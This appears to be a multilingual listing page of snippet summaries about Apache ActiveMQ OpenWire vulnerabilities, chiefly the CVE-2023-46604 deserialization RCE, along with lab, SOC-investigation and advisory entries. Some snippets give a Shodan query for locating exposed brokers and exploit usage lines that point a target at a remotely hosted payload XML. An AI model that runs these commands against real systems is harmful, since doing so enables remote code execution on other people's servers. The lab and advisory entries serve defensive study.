CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Panoramica di Apache ActiveMQ e OpenWire ActiveMQ è un broker che include client che supportano JMS e consente la comunicazione tra sistemi che utilizzano non solo Java ma anche vari linguaggi. Inoltre, tramite funzionalità di clustering, DB e...

CVE-2023-46604

Resumen Técnico del Ataque: CVE-2023-46604 Il script sfrutta una vulnerabilità di deserializzazione non sicura in Apache ActiveMQ CVE-2023-46604 per ottenere l'esecuzione remota di codice sul server target. Descrizione del Processo di Sfruttamento root@kitploit: Obiettivo della Vulnerabilità: La...

CVE-2023-46604-LAB

CVE-2023-46604 – RCE su Apache ActiveMQ Protocollo OpenWire Questo repository documenta un ambiente di laboratorio utilizzato per comprendere e rilevare la vulnerabilità CVE-2023-46604 che colpisce Apache ActiveMQ. L'obiettivo di questo progetto: Comprendere come si comporta l'exploit a livello d...

CVE-2023-46604

CVE-2023-46604 Exploit für CVE-2023-46604 Dieses Tool hilft, diese Schwachstelle auszunutzen. Shodan-Abfrage zum Finden von Zielen: root@kitploit: product:"ActiveMQ" port:"61616" Verwendung des Tools: root@kitploit: zum Lesen von Zielen aus der Datei: python3 exploit.py -f targets -c...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Progetto di riferimento Questo progetto è una riscrittura in Python dell'exploit del progetto https://github.com/X1r0z/ActiveMQ-RCE. Utilizzo root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Il parametro -p è predefinito sulla porta predefinita d...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 Pseudoshell RCE Questo script sfrutta CVE-2023-46604 Apache ActiveMQ per generare una pseudo shell. La vulnerabilità consente l'esecuzione di codice in remoto a causa di una deserializzazione non sicura all'interno del protocollo OpenWire. Descrizione CVE-2023-46604 è una...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire-Labor Während meiner Schicht als Tier-2-Analyst im Security Operations Center SOC erhielt ich eine Eskalation von einem Tier-1-Analysten bezüglich eines öffentlich zugänglichen Servers, der dabei beobachtet wurde, wie er mit mehreren verdächtigen...

CVE-2023-46604

CVE-2023-46604 Questo repository contiene uno script di exploit e un file XML Proof of Concept PoC per la vulnerabilità CVE-2023-46604 che colpisce Apache ActiveMQ. La vulnerabilità consente l'esecuzione remota di codice a causa di pratiche non sicure di deserializzazione all'interno del protocol...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Disclaimer Questo repository contiene codice proof-of-concept per CVE-2023-466064 ed è destinato esclusivamente a scopo educativo. Gli autori e i collaboratori non approvano alcuna attività illegale. Le informazioni qui presentate sono a scopo accademico, di ricerca...

CVE-2026-50734

Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ Client, Apache ActiveMQ, and Apache ActiveMQ All allows an unauthenticated network attacker to cause a broker DoS by sending a crafted WireFormatInfo frame with a malicious large size value. The broker may allocate memor...

CVE-2026-50750 Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All: Pre-authentication OpenWire DoS following fix for CVE-2026-49270

Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All. Following the fix for CVE-2026-49270 an unauthenticated attacker can now cause broker OOM by sending an repeated BrokerInfo commands without sending a ConnectionInfo, until the broke...

CVE-2026-53917

CVE-2026-53917 describes an unbounded memory allocation vulnerability in OpenWire property unmarshalling in Apache ActiveMQ and related builds. An authenticated user can send a crafted OpenWire Message with a very large encoded size value for a message property map, causing OpenWire maps to be un...

Linux Distros Unpatched Vulnerability : CVE-2026-32642

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to crea...

Incorrect Authorization

Overview Affected versions of this package are vulnerable to Incorrect Authorization in the OpenWire protocol when an authenticated user with the createDurableQueue permission but without the createAddress permission attempts to create a non-durable JMS topic subscription on a non-existent addres...

Incorrect Authorization

Overview org.apache.activemq:artemis-openwire-protocol is a package for activemq. Affected versions of this package are vulnerable to Incorrect Authorization in the OpenWire protocol when an authenticated user with the createDurableQueue permission but without the createAddress permission attempt...

GHSA-F4GC-MWRG-Q36R Apache Artemis: Unauthorized Temporary Address Creation via OpenWire Protocol

Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...

Apache Artemis: Unauthorized Temporary Address Creation via OpenWire Protocol

Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...

CVE-2026-32642

Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...

UBUNTU-CVE-2026-32642

Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...

CVE-2026-32642

Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...